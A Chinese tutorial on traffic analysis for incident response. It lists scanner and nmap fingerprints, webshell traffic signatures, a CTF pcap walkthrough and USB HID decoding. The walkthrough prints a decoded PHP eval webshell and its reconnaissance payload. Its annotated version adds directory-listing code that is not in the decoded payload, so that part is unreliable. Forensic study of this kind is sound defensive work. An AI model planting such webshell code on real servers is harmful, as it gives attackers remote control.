基础前言
流量分析(Traffic Analysis)又可以称作是网络取证(Network Forensics),正如其名,就是对计算机或计算机网络通信所产生的流量进行分析的一门技术。应急响应中这是一门我们必须要掌握的技能。无论是 Web 攻击、内网渗透,还是协议滥用,流量数据都是最直接、最可靠的证据。
记住:只要有通信就会产生流量。
安全事件调查中,我们通常依赖 电子四大证据:
日志:记录主机、网络设备、安全设备的操作历史,如 WAF、IDS/IPS 记录的攻击日志
流量:抓取网络数据包,分析攻击者行为及 C2(命令控制)通信。
内存:分析进程运行时的内容,可能包含密钥、后门、Shellcode。
磁盘:存储攻击者植入的 WebShell、恶意程序、凭据等关键数据。
核心工具:Wireshark、Tshark(wireshark命令版)、Tcpdump(轻量级抓包工具,适用于服务器)、Python中的Scapy 库
网络体系结构
TCP/IP 是因特网上的标准通信协议集,它不是针对某一个协议;TCP/IP 的体系结构分为 4 层,分别是
TCP/IP | 功能 |
---|---|
应用层 | FTP,SMTP,HTTP 等上层协议 |
传输层 | TCP/UDP |
网络互连层 | 把数据分组发往目标网络或主机 |
网络接口层 | 负责与物理网络的连接 |
一些WEB流量分析思路
简单点说就是看特征:看指纹、看加密、看ip、看协议。。。。。
网络协议分析详解:网络流量分析详解网络流量格式
常用指纹:
Awvs:
acunetix_wvs_security_test acunetix
acunetix_wvs acunetix_test
Acunetix-Aspect-Password:Cookie:
acunetix_wvs_security_test X-Forwarded-Host:
acunetix_wvs_security_test X-Forwarder-For:
acunetix_wvs-security_test Host:
acunetix_wvs_security_test
Netsparker:
X-Scanner:NetsparkerLocation:
NetsparkerAccept:netsparker/chechCookie:
netsparkerCookie:NETSPARKER
Appscan:
Headers Content-Type:Appscan
Content-Type:AppScanHeader
Accept:Appscan User-Agent:Appscan
Nessus:
x_forwarded_for:nessus
referer:nessus
host:nessus
sqlmap:
User-Agent:sqlmap1.2.8#stable
nmap扫描特征
-sT扫描特征
TCP端口扫描开放:
SYN -->
<-- SYN, ACK
ACK -->
TCP端口扫描关闭:
SYN -->
<-- RST, ACK
TCP全连接扫描通常具有大于 1024 字节的窗口大小,因为由于协议的性质,请求需要一些数据:tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024
存在syn,但是不存在ack,而且大于1024字节,可以被认为是全连接扫描的端口关闭特征。即-sT扫描。
-sS扫描特征
TCP端口扫描开放:
SYN -->
<-- SYN,ACK
RST-->
TCP端口扫描关闭:
SYN -->
<-- RST,ACK
TCP半连接扫描通常大小小于或等于 1024 字节,因为请求未完成,并且它不希望接收数据:
tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size <= 1024
存在syn,但是不存在ack,而且小于等于1024字节,可以被认为是半连接扫描的端口关闭特征。即-sS扫描。
UDP扫描:
UDP段偶扫描开放:
UDP packet -->
UCP端口扫描关闭:
UDP packet -->
ICMP 类型 3,代码 3 消息。 (无法访问目的地,无法访问端口)
UDP端口关闭特征:
icmp.type==3 and icmp.code==3
其他常见特征:流量分析及流量特征识别总结 – FreeBuf网络安全行业门户
WEBshell流量特征
菜刀特征:
1. 会有base64编码:QGluaV9
因为不论新版还是旧版都会有@ini_set("display_errors",而且菜刀和C刀都没有进行加密,因此开头部分必定一样都是QGluaV9
2. 明文部分可以看到先将z0进行base64解密,然后给eval执行。即:@eval(base64_decode($_POST[z0]));
冰蝎特征
因为是加密,所以没有明显的明文特征。
1. 请求正文不是key=calue&key2=value的形式,而是纯base64编码,而且很长很长。因为使用AES加密之后进行编码。
2. 响应正文也是纯base64。
蚁剑特征:支持四种加密特征
1、default特征
请求包里的强特征:
%40ini_set(%22display_errors
2、base64特征:
请求包里的强特征:
%40eval(%40base64_decode
3、chr、chr16特征:
4、rot13特征:
请求包里的强特征:
%40eval(%40str_rot13
5、哥斯拉特征
相应包的开头16位md5,结尾16位md5,中间全部是base64。
其他常见webshell特征:应急响应–流量分析_cobaltstrike、webshell、MSF流量特征
常见php危险代码执行函数:
eval()
assert()
preg_replace()
create_function()
array_mp()
call_user_func()
call_user_lfunc_array()
工具使用
Wireshark:wireshark常用命令 – soloate – 博客园、Wireshark使用
ip.addr ==ip :对特定目的IP地址进行过滤
ip.src ==ip :对指定的源IP地址进行过滤
直接输入HTTP、HTTPS、SMTP、ARP等协议进行筛选
使用【top.port==端口号】或【udp.port==端口号】命令,可对端口进行过滤
使用【tcp contains strings】命令,可对数据包中的strings关键字进行检索,对流量中包含某一关键字的数据包进行筛选
WEB流量实战例题
说不多说,直接上实战例题
题目背景
某公司内网网络被黑客渗透,简单了解,黑客首先攻击了一台web服务器,破解了后台的账户密码,随之利用破解的账号密码登陆了mail系统,然后获取了vpn的申请方式,然后登陆了vpn,在内网pwn掉了一台打印机,请根据提供的流量包回答下面有关问题(题目附件:web.pcap)
1、某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器
尝试搜索一下以下特征
过滤HTTP数据包并查找字符串WVS,成功发现一堆结果,故可以判断扫描器为AWVS
2、某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)
做这个先要分析常见的后台登录页面路径,不然在几十万的流量包里面找几个登录页面效率太慢了。分析题目黑客登录了后台登录提交的表单一般是POST提交,过滤一下POST流量
http.request.method==POST
追踪HTTP流还能看到黑客的输入的账号密码,因此确认该登陆地址就是/admin/login.php?rec=login
3、某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登录了web后台
知道登录地址和攻击者IP现在进行过滤,找到攻击者登录成功的包
http.request.method==POST and http contains "rec=login" and ip.addr == 192.168.94.59
看到有很多包,这里都是在尝试登录直接看最后一个,直接追踪HTTP流
追踪HTTP流后可以看到完整的数据包交流过程,能清楚看到当前登陆数据包成功触发302跳转地址,于是可以认为就是账号密码,账号:admin;密码:admin@#pass123
4、某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码
既然登陆成功是在当前数据包,就可以记录当前数据包,从之后的数据包编号开始分析文件上传。并且Webshell,肯定是属于POST方式
可以发现上面还是admin下面变成images的包,于是连接上木马的流量了,追踪流第一个images的包
看到文件上传成功,那就是这个了,在线解密一下即可获得传输信息,这里末尾有%3D,记得先URL解码再解Base64,最后得到内容
1234=@eval(base64_decode($_POST[action]));&action=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
可以看到是明显是蚁剑的流量特征。进行整理一下:
1234=@eval(base64_decode($_POST[action]));&action=
@ini_set("display_errors", "0"); // 隐藏所有PHP错误信息
@set_time_limit(0); // 解除脚本执行时间限制(允许长时间攻击)
//关闭错误显示:攻击者通过抑制错误提示,避免暴露自身操作。
$D = base64_decode($_POST["z1"]); // 解码POST参数z1(需传入Base64编码的目录路径)
//接收外部参数:攻击者通过POST 传入 z1 参数(如 z1=L3Zhci93d3cvaHRtbA== 解码为 /var/www/html)。
//遍历目录:
$F = @opendir($D); // 尝试打开指定目录
while ($N = @readdir($F)) { // 遍历目录中的文件和子目录
$P = $D . "/" . $N; // 拼接完整文件路径
$T = @date("Y-m-d H:i:s", @filemtime($P)); // 获取文件修改时间
$E = substr(base_convert(@fileperms($P), 10, 8), -4); // 获取文件权限(八进制)
$R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n"; // 格式化输出信息代码会递归读取目录下的所有文件/子目录,并收集以下信息:文件名、修改时间、文件大小、权限(如 0755)。
//输出结果:
echo $M . $L; // 输出所有目录和文件信息
echo("|<-"); // 标记结束符
5、某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么
找文件直接过滤文件:http contains “robots.txt”
追踪流看文件内容为找到 flag:87b7cb79481f317bde90c116cf36084b
6、某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少
涉及到数据库,那肯定是登录了的,查找下数据库的关键词,过滤字符串200看服务器回应200状态码的包
http contains "database"
追踪流也能看到,得到账号和密码 web/e667jUPvJjXHvEUv
7、某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么
注意看题在数据库里面找东西,上面的题告诉你已经通过密码登录进去数据库了,找东西还是一样直接过滤mysql的流量加上全局查找
mysql contains "hash_code"
追踪TCP流,成功找到hash_code信息
8、某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么
直接全局搜索字符串ijnu@test.com
追踪流查看到账号和密码
md5解密得到明文密码:edc123!@#
9、某司内网被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip
网卡配置直接过滤网卡,一般网卡名字就那几个eth0 eth1 ens33 lo
追踪流,这里看到eth1是内网IP:10.3.3.100
USB流量分析思路
鼠标流量:USB协议鼠标数据部分在Leftover Capture Data域中,数据长度为四个字节
文章参考:https://www.freebuf.com/sectool/347971.html
第一个字节,代表按键
当取00时,代表没有按键
当取01时,代表按左键
当取02时,代表当前按键为右键
第二个字节,可看作为signed byte类型,其最高位为符号位
当值为正时,代表鼠标右移像素位;
当值为负时,代表鼠标左移像素位。
计算步骤
(1) 将十六进制转换为二进制,如:0x02 → 00000010,0xFE → 11111110。
(2) 判断符号位,最高位(第7位)为符号位:0 → 正数(直接转换)。1 → 负数(需计算补码)。
(3) 正数直接转换,示例:0x02(二进制 00000010)→ +2。
(4) 负数补码转换,取反:所有二进制位翻转(0→1,1→0)。加1:结果加1。添加负号:最终值为负数。示例:0xFE(二进制 11111110)符号位为 1 → 负数。取反 → 00000001。加1 → 00000010(即十进制为2)。最终值 → -2。
物理移动方向正值:向右移动(如 +2 → 右移2个单位)。负值:向左移动(如 -2 → 左移2个单位)。
常见值示例
十六进制值 | 二进制值 | 十进制值 | 实际方向 |
---|---|---|---|
0x00 | 00000000 | 0 | 无移动 |
0x7F | 01111111 | +127 | 最大右移 |
0x80 | 10000000 | -128* | 无效(协议保留) |
0xFE | 11111110 | -2 | 左移2个单位 |
0xFF | 11111111 | -1 | 左移1个单位 |
第三个字节,代表垂直上下移动的偏移。
当值为正时,代表鼠标上移像素位;
值为负时,代表鼠标下移像素位。
和第二个计算的方式一样的,只不过左右变成了上下
键盘流量:USB协议数据部分在Leftover Capture Data域中,数据长度为八个字节。
标准8字节键盘数据格式
字节位置 | 名称 | 描述 |
---|---|---|
字节1 | 修饰键(Modifiers) | 表示功能键(Ctrl、Shift、Alt等)的按下状态,每个二进制位对应一个按键。 |
字节2 | 保留字段 | 通常为 0x00 ,部分设备可能用于扩展功能(如多媒体键)。 |
字节3-8 | 普通按键码 | 最多6个同时按下的普通按键的键码(每个按键占1字节)。 |
字节1:Modifier Keys(功能键位掩码)
位(Bit) | 对应按键 | HID Usage ID | 描述 |
---|---|---|---|
Bit 0 | 左Ctrl | 0xE0 | 按下时值为 1 。 |
Bit 1 | 左Shift | 0xE1 | |
Bit 2 | 左Alt | 0xE2 | |
Bit 3 | 左GUI(Win键) | 0xE3 | |
Bit 4 | 右Ctrl | 0xE4 | |
Bit 5 | 右Shift | 0xE5 | |
Bit 6 | 右Alt | 0xE6 | |
Bit 7 | 右GUI(Win键) | 0xE7 |
字节3-8:普通按键码(HID Usage ID)
HID键码(Hex) | 对应按键 | 字符/功能 |
---|---|---|
0x00 | 无按键 | – |
0x04 | A | A/a |
0x05 | B | B/b |
0x06 | C | C/c |
0x07 | D | D/d |
0x08 | E | E/e |
0x09 | F | F/f |
0x0A | G | G/g |
0x0B | H | H/h |
0x0C | I | I/i |
0x0D | J | J/j |
0x0E | K | K/k |
0x0F | L | L/l |
0x10 | M | M/m |
0x11 | N | N/n |
0x12 | O | O/o |
0x13 | P | P/p |
0x14 | Q | Q/q |
0x15 | R | R/r |
0x16 | S | S/s |
0x17 | T | T/t |
0x18 | U | U/u |
0x19 | V | V/v |
0x1A | W | W/w |
0x1B | X | X/x |
0x1C | Y | Y/y |
0x1D | Z | Z/z |
0x1E | 1 | 1/! |
0x1F | 2 | 2/@ |
0x20 | 3 | 3/# |
0x21 | 4 | 4/$ |
0x22 | 5 | 5/% |
0x23 | 6 | 6/^ |
0x24 | 7 | 7/& |
0x25 | 8 | 8/* |
0x26 | 9 | 9/( |
0x27 | 0 | 0/) |
0x28 | Enter | 回车键 |
0x29 | Esc | Esc键 |
0x2A | Backspace | 退格键 |
0x2B | Tab | Tab键 |
0x2C | Space | 空格键 |
0x2D | – | -/_ |
0x2E | = | =/+ |
0x2F | [ | [/{ |
0x30 | ] | ]/} |
0x31 | \ | /| |
0x33 | ; | ;/: |
0x34 | ‘ | ‘/” |
0x35 | ` | `/~ |
0x36 | , | ,/< |
0x37 | . | ./> |
0x38 | / | /? |
0x39 | Caps Lock | 大写锁定键 |
0x3A | F1 | F1功能键 |
0x3B | F2 | F2功能键 |
… | … | … |
0x52 | ↑ | 方向键上 |
0x51 | ↓ | 方向键下 |
0x50 | ← | 方向键左 |
0x4F | → | 方向键右 |
示例分析
这里看到第三位是09,和上面的表对应一下就是F
USB的流量分析基础就是这些,下面是自动化工具:一把梭工具
首先要将wireshark里面的tshark.exe所在的文件夹添加到环境变量path下
CMD中执行tshark -v可以检测是否添加成功
USB流量分析实战
题目背景:请根据流量包信息还原鼠标流量找到flag
打开usb2的流量包先看capture Data是几位的,分析出来是什么流量
这里看到4位的USB流量,直接打开一把梭工具,打开命令行
python run_GUI.py 打开工具
看所有的按键流量
太乱了看不出来,一个一个看(左键)
右键,成功获取到flag内容。
题目背景2:请根据流量包信息还原键盘流量找到flag